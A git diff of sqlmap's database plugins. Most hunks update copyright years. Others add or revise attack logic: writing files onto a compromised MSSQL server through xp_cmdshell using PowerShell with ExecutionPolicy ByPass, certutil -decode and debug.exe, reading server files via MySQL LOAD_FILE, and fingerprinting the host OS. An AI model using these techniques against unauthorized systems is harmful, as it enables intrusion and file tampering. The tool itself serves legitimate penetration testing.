b/plugins/dbms/firebird/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/firebird/enumeration.py b/plugins/dbms/firebird/enumeration.py index 16e444b8a..1945860a0 100644 --- a/plugins/dbms/firebird/enumeration.py +++ b/plugins/dbms/firebird/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/firebird/filesystem.py b/plugins/dbms/firebird/filesystem.py index da8fc26ed..ed033c2b5 100644 --- a/plugins/dbms/firebird/filesystem.py +++ b/plugins/dbms/firebird/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/firebird/fingerprint.py b/plugins/dbms/firebird/fingerprint.py index cc027c601..8a8de5c70 100644 --- a/plugins/dbms/firebird/fingerprint.py +++ b/plugins/dbms/firebird/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -104,7 +104,7 @@ class Fingerprint(GenericFingerprint): def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(FIREBIRD_ALIASES) \ - or conf.dbms in FIREBIRD_ALIASES) and Backend.getVersion() and \ + or (conf.dbms or "").lower() in FIREBIRD_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") diff --git a/plugins/dbms/firebird/syntax.py b/plugins/dbms/firebird/syntax.py index 695a4598d..c59666ade 100644 --- a/plugins/dbms/firebird/syntax.py +++ b/plugins/dbms/firebird/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/firebird/takeover.py b/plugins/dbms/firebird/takeover.py index 7f34eb12f..78589f5a4 100644 --- a/plugins/dbms/firebird/takeover.py +++ b/plugins/dbms/firebird/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/hsqldb/__init__.py b/plugins/dbms/hsqldb/__init__.py index acd7cb85f..128704f61 100644 --- a/plugins/dbms/hsqldb/__init__.py +++ b/plugins/dbms/hsqldb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/hsqldb/connector.py b/plugins/dbms/hsqldb/connector.py index 15d1e49e5..0496badb4 100644 --- a/plugins/dbms/hsqldb/connector.py +++ b/plugins/dbms/hsqldb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/hsqldb/enumeration.py b/plugins/dbms/hsqldb/enumeration.py index a9bc518be..9bf2b9b23 100644 --- a/plugins/dbms/hsqldb/enumeration.py +++ b/plugins/dbms/hsqldb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -13,7 +13,6 @@ from lib.core.data import queries from lib.core.common import Backend from lib.core.common import unArrayizeValue from lib.request import inject -from lib.parse.banner import bannerParser class Enumeration(GenericEnumeration): def __init__(self): @@ -31,3 +30,13 @@ class Enumeration(GenericEnumeration): kb.data.banner = unArrayizeValue(inject.getValue(query, safeCharEncode=True)) return kb.data.banner + + def getPrivileges(self, *args): + warnMsg = "on HSQLDB it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on HSQLDB it is not possible to enumerate the hostname" + logger.warn(warnMsg) diff --git a/plugins/dbms/hsqldb/filesystem.py b/plugins/dbms/hsqldb/filesystem.py index 4d945835a..3e9dd9026 100644 --- a/plugins/dbms/hsqldb/filesystem.py +++ b/plugins/dbms/hsqldb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/hsqldb/fingerprint.py b/plugins/dbms/hsqldb/fingerprint.py index 6dd126ab0..9f527a601 100644 --- a/plugins/dbms/hsqldb/fingerprint.py +++ b/plugins/dbms/hsqldb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -9,13 +9,11 @@ import re from lib.core.common import Backend from lib.core.common import Format -from lib.core.common import getUnicode from lib.core.common import unArrayizeValue from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS -from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import UNKNOWN_DBMS_VERSION @@ -79,11 +77,11 @@ class Fingerprint(GenericFingerprint): version 1.8.0.4 Added org.hsqldbdb.Library function, getDatabaseFullProductVersion to return the full version string, including the 4th digit (e.g 1.8.0.4). version 1.7.2 CASE statements added and INFORMATION_SCHEMA - + """ if not conf.extensiveFp and (Backend.isDbmsWithin(HSQLDB_ALIASES) \ - or conf.dbms in HSQLDB_ALIASES) and Backend.getVersion() and \ + or (conf.dbms or "").lower() in HSQLDB_ALIASES) and Backend.getVersion() and \ Backend.getVersion() != UNKNOWN_DBMS_VERSION: v = Backend.getVersion().replace(">", "") v = v.replace("=", "") @@ -136,7 +134,7 @@ class Fingerprint(GenericFingerprint): return True else: - warnMsg = "the back-end DBMS is not %s or is < 1.7.2" % DBMS.HSQLDB + warnMsg = "the back-end DBMS is not %s or version is < 1.7.2" % DBMS.HSQLDB logger.warn(warnMsg) return False diff --git a/plugins/dbms/hsqldb/syntax.py b/plugins/dbms/hsqldb/syntax.py index c0b934359..c2927406b 100644 --- a/plugins/dbms/hsqldb/syntax.py +++ b/plugins/dbms/hsqldb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/hsqldb/takeover.py b/plugins/dbms/hsqldb/takeover.py index d2c8eacfe..6d007a6b2 100644 --- a/plugins/dbms/hsqldb/takeover.py +++ b/plugins/dbms/hsqldb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/maxdb/__init__.py b/plugins/dbms/maxdb/__init__.py index 57cd31334..9370a87c6 100644 --- a/plugins/dbms/maxdb/__init__.py +++ b/plugins/dbms/maxdb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/maxdb/connector.py b/plugins/dbms/maxdb/connector.py index b05bf8a6d..1f9feca61 100644 --- a/plugins/dbms/maxdb/connector.py +++ b/plugins/dbms/maxdb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index 80fab44e3..95ec6a385 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/maxdb/filesystem.py b/plugins/dbms/maxdb/filesystem.py index e679a8cd1..00d14a7f0 100644 --- a/plugins/dbms/maxdb/filesystem.py +++ b/plugins/dbms/maxdb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/maxdb/fingerprint.py b/plugins/dbms/maxdb/fingerprint.py index c808e6d6b..57f24fb88 100644 --- a/plugins/dbms/maxdb/fingerprint.py +++ b/plugins/dbms/maxdb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -91,7 +91,7 @@ class Fingerprint(GenericFingerprint): return value def checkDbms(self): - if not conf.extensiveFp and (Backend.isDbmsWithin(MAXDB_ALIASES) or conf.dbms in MAXDB_ALIASES): + if not conf.extensiveFp and (Backend.isDbmsWithin(MAXDB_ALIASES) or (conf.dbms or "").lower() in MAXDB_ALIASES): setDbms(DBMS.MAXDB) self.getBanner() diff --git a/plugins/dbms/maxdb/syntax.py b/plugins/dbms/maxdb/syntax.py index f1ac416f0..b8612b3a1 100644 --- a/plugins/dbms/maxdb/syntax.py +++ b/plugins/dbms/maxdb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/maxdb/takeover.py b/plugins/dbms/maxdb/takeover.py index b6914b71c..32d3a0969 100644 --- a/plugins/dbms/maxdb/takeover.py +++ b/plugins/dbms/maxdb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py index 7dee4fe98..c701c0f9f 100644 --- a/plugins/dbms/mssqlserver/__init__.py +++ b/plugins/dbms/mssqlserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index 0b39b1417..657d796fd 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index 5131f2b45..12e51a317 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -14,6 +14,7 @@ from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import safeSQLIdentificatorNaming +from lib.core.common import unArrayizeValue from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb @@ -49,6 +50,8 @@ class Enumeration(GenericEnumeration): users = kb.data.cachedUsers for user in users: + user = unArrayizeValue(user) + if user is None: continue @@ -102,7 +105,7 @@ class Enumeration(GenericEnumeration): if not isNoneValue(value): value = filter(None, arrayizeValue(value)) - value = [safeSQLIdentificatorNaming(_, True) for _ in value] + value = [safeSQLIdentificatorNaming(unArrayizeValue(_), True) for _ in value] kb.data.cachedTables[db] = value if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: @@ -263,6 +266,10 @@ class Enumeration(GenericEnumeration): infoMsgTbl = "" infoMsgDb = "" colList = conf.col.split(",") + + if conf.excludeCol: + colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] + origTbl = conf.tbl origDb = conf.db colCond = rootQuery.inband.condition @@ -311,7 +318,7 @@ class Enumeration(GenericEnumeration): colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) - for db in dbs.keys(): + for db in filter(None, dbs.keys()): db = safeSQLIdentificatorNaming(db) if conf.excludeSysDbs and db in self.excludeDbsList: @@ -341,7 +348,7 @@ class Enumeration(GenericEnumeration): conf.tbl = foundTbl conf.col = column - self.getColumns(onlyColNames=True, bruteForce=False) + self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\ and not isNoneValue(kb.data.cachedColumns[db][foundTbl]): @@ -400,7 +407,7 @@ class Enumeration(GenericEnumeration): conf.tbl = tbl conf.col = column - self.getColumns(onlyColNames=True, bruteForce=False) + self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[db]: dbs[db][tbl].update(kb.data.cachedColumns[db][tbl]) diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index d4ea9c82d..eca533d01 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -14,6 +14,7 @@ from lib.core.common import isTechniqueAvailable from lib.core.common import posixToNtSlashes from lib.core.common import randomStr from lib.core.common import readInput +from lib.core.convert import base64encode from lib.core.convert import hexencode from lib.core.data import conf from lib.core.data import logger @@ -72,7 +73,7 @@ class Filesystem(GenericFilesystem): logger.debug("generating chunk file %s\%s from debug script %s" % (tmpPath, chunkName, randScr)) - commands = ("cd %s" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr) + commands = ("cd \"%s\"" % tmpPath, "debug < %s" % randScr, "del /F /Q %s" % randScr) complComm = " & ".join(command for command in commands) self.execCmd(complComm) @@ -165,27 +166,38 @@ class Filesystem(GenericFilesystem): def _stackedWriteFilePS(self, tmpPath, wFileContent, dFile, fileType): infoMsg = "using PowerShell to write the %s file content " % fileType - infoMsg += "to file '%s', please wait.." % dFile + infoMsg += "to file '%s'" % dFile logger.info(infoMsg) - randFile = "tmpf%s.txt" % randomStr(lowercase=True) - randFilePath = "%s\%s" % (tmpPath, randFile) - encodedFileContent = hexencode(wFileContent) + encodedFileContent = base64encode(wFileContent) + encodedBase64File = "tmpf%s.txt" % randomStr(lowercase=True) + encodedBase64FilePath = "%s\%s" % (tmpPath, encodedBase64File) - # TODO: need to be fixed - psString = "$s = gc '%s';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %%{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('%s',$b)" % (randFilePath, dFile) - psString = psString.encode('utf-16le') - psString = psString.encode("base64")[:-1].replace("\n", "") + randPSScript = "tmpps%s.ps1" % randomStr(lowercase=True) + randPSScriptPath = "%s\%s" % (tmpPath, randPSScript) - logger.debug("uploading the file hex-encoded content to %s, please wait.." % randFilePath) + wFileSize = len(encodedFileContent) + chunkMaxSize = 1024 - self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile) + logger.debug("uploading the base64-encoded file to %s, please wait.." % encodedBase64FilePath) - logger.debug("converting the file utilizing PowerShell EncodedCommand") + for i in xrange(0, wFileSize, chunkMaxSize): + wEncodedChunk = encodedFileContent[i:i + chunkMaxSize] + self.xpCmdshellWriteFile(wEncodedChunk, tmpPath, encodedBase64File) - commands = ("cd %s" % tmpPath, - "powershell -EncodedCommand %s" % psString, - "del /F /Q %s" % randFilePath) + psString = "$Base64 = Get-Content -Path \"%s\"; " % encodedBase64FilePath + psString += "$Base64 = $Base64 -replace \"`t|`n|`r\",\"\"; $Content = " + psString += "[System.Convert]::FromBase64String($Base64); Set-Content " + psString += "-Path \"%s\" -Value $Content -Encoding Byte" % dFile + + logger.debug("uploading the PowerShell base64-decoding script to %s" % randPSScriptPath) + self.xpCmdshellWriteFile(psString, tmpPath, randPSScript) + + logger.debug("executing the PowerShell base64-decoding script to write the %s file, please wait.." % dFile) + + commands = ("powershell -ExecutionPolicy ByPass -File \"%s\"" % randPSScriptPath, + "del /F /Q \"%s\"" % encodedBase64FilePath, + "del /F /Q \"%s\"" % randPSScriptPath) complComm = " & ".join(command for command in commands) self.execCmd(complComm) @@ -211,7 +223,6 @@ class Filesystem(GenericFilesystem): complComm = " & ".join(command for command in commands) self.execCmd(complComm) - else: debugMsg = "the file is larger than %d bytes. " % debugSize debugMsg += "sqlmap will split it into chunks locally, upload " @@ -233,14 +244,14 @@ class Filesystem(GenericFilesystem): debugMsg += "%s\%s to %s file %s\%s" % (tmpPath, chunkName, fileType, tmpPath, dFileName) logger.debug(debugMsg) - commands = ("cd %s" % tmpPath, copyCmd, "del /F %s" % chunkName) + commands = ("cd \"%s\"" % tmpPath, copyCmd, "del /F /Q %s" % chunkName) complComm = " & ".join(command for command in commands) self.execCmd(complComm) logger.debug("moving %s file %s to %s" % (fileType, sFile, dFile)) - commands = ("cd %s" % tmpPath, "move /Y %s %s" % (dFileName, dFile)) + commands = ("cd \"%s\"" % tmpPath, "move /Y %s %s" % (dFileName, dFile)) complComm = " & ".join(command for command in commands) self.execCmd(complComm) @@ -309,7 +320,7 @@ class Filesystem(GenericFilesystem): End Function""" % (randFilePath, dFile) vbs = vbs.replace(" ", "") - encodedFileContent = wFileContent.encode("base64")[:-1] + encodedFileContent = base64encode(wFileContent) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) @@ -319,13 +330,40 @@ class Filesystem(GenericFilesystem): self.xpCmdshellWriteFile(vbs, tmpPath, randVbs) - commands = ("cd %s" % tmpPath, "cscript //nologo %s" % randVbs, + commands = ("cd \"%s\"" % tmpPath, "cscript //nologo %s" % randVbs, "del /F /Q %s" % randVbs, "del /F /Q %s" % randFile) complComm = " & ".join(command for command in commands) self.execCmd(complComm) + def _stackedWriteFileCertutilExe(self, tmpPath, wFile, wFileContent, dFile, fileType): + infoMsg = "using certutil.exe to write the %s " % fileType + infoMsg += "file content to file '%s', please wait.." % dFile + logger.info(infoMsg) + + chunkMaxSize = 500 + dFileName = ntpath.basename(dFile) + + randFile = "tmpf%s.txt" % randomStr(lowercase=True) + randFilePath = "%s\%s" % (tmpPath, randFile) + + encodedFileContent = base64encode(wFileContent) + + splittedEncodedFileContent = '\n'.join([encodedFileContent[i:i+chunkMaxSize] for i in xrange(0, len(encodedFileContent), chunkMaxSize)]) + + logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) + + self.xpCmdshellWriteFile(splittedEncodedFileContent, tmpPath, randFile) + + logger.debug("decoding the file to %s.." % dFile) + + commands = ("cd \"%s\"" % tmpPath, "certutil -f -decode %s %s" % (randFile, dFile), + "del /F /Q %s" % randFile) + complComm = " & ".join(command for command in commands) + + self.execCmd(complComm) + def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): # NOTE: this is needed here because we use xp_cmdshell extended # procedure to write a file on the back-end Microsoft SQL Server @@ -339,17 +377,34 @@ class Filesystem(GenericFilesystem): with open(wFile, "rb") as f: wFileContent = f.read() - self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType) + self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) if written is False: message = "do you want to try to upload the file with " - message += "another technique? [Y/n] " + message += "the custom Visual Basic script technique? [Y/n] " + choice = readInput(message, default="Y") + + if not choice or choice.lower() == "y": + self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType) + written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + + if written is False: + message = "do you want to try to upload the file with " + message += "the built-in debug.exe technique? [Y/n] " choice = readInput(message, default="Y") if not choice or choice.lower() == "y": self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType) - #self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType) + written = self.askCheckWrittenFile(wFile, dFile, forceCheck) + + if written is False: + message = "do you want to try to upload the file with " + message += "the built-in certutil.exe technique? [Y/n] " + choice = readInput(message, default="Y") + + if not choice or choice.lower() == "y": + self._stackedWriteFileCertutilExe(tmpPath, wFile, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) return written diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 05b636297..8483b6429 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -66,7 +66,7 @@ class Fingerprint(GenericFingerprint): def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \ - or conf.dbms in MSSQL_ALIASES) and Backend.getVersion() and \ + or (conf.dbms or "").lower() in MSSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) @@ -84,7 +84,7 @@ class Fingerprint(GenericFingerprint): if conf.direct: result = True else: - result = inject.checkBooleanExpression("BINARY_CHECKSUM([RANDNUM])=BINARY_CHECKSUM([RANDNUM])") + result = inject.checkBooleanExpression("SQUARE([RANDNUM])=SQUARE([RANDNUM])") if result: infoMsg = "confirming %s" % DBMS.MSSQL @@ -134,19 +134,21 @@ class Fingerprint(GenericFingerprint): self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) - versions = { "2003": ("5.2", (2, 1)), - # TODO: verify this - #"2003": ("6.0", (2, 1)), - "2008": ("7.0", (1,)), + # Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions + # http://en.wikipedia.org/wiki/Windows_NT#Releases + versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)), "2000": ("5.0", (4, 3, 2, 1)), - "7": ("6.1", (1, 0)), - "XP": ("5.1", (2, 1)), - "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } + "XP": ("5.1", (3, 2, 1)), + "2003": ("5.2", (2, 1)), + "Vista or 2008": ("6.0", (2, 1)), + "7 or 2008 R2": ("6.1", (1, 0)), + "8 or 2012": ("6.2", (0,)), + "8.1 or 2012 R2": ("6.3", (0,)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): - query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) - query += "LIKE '%Windows NT " + data[0] + "%')>0" + query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) + query += "LIKE '%Windows NT " + data[0] + "%')" result = inject.checkBooleanExpression(query) if result: @@ -169,13 +171,12 @@ class Fingerprint(GenericFingerprint): # Get back-end DBMS underlying operating system service pack sps = versions[Backend.getOsVersion()][1] - for sp in sps: - query = "SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) - query += "LIKE '%Service Pack " + getUnicode(sp) + "%'" - result = inject.goStacked(query) + query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) + query += "LIKE '%Service Pack " + getUnicode(sp) + "%')" + result = inject.checkBooleanExpression(query) - if result is not None and len(result) > 0 and result[0].isdigit(): + if result: Backend.setOsServicePack(sp) break diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index e33d9d58a..314ba5c8d 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index 3fc953055..e387d4095 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py index 4f03e754e..7baec6ce9 100644 --- a/plugins/dbms/mysql/__init__.py +++ b/plugins/dbms/mysql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index 19f4cf43a..62e073425 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py index 6edc88d14..6480d9c7b 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index 301fd3c69..5e10266a9 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -29,7 +29,7 @@ class Filesystem(GenericFilesystem): infoMsg = "fetching file: '%s'" % rFile logger.info(infoMsg) - result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) + result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL) return result diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index ca9672f00..700badb4f 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2013 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ @@ -116,9 +116,9 @@ class Fingerprint(GenericFingerprint): value += "\n%scomment injection fingerprint: %s" % (blank, comVer) if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None + banVer = kb.bannerFp["dbmsVersion"] if "dbmsVersion" in kb.bannerFp else None - if re.search("-log$", kb.data.banner): + if banVer and re.search("-log$", kb.data.banner): banVer += 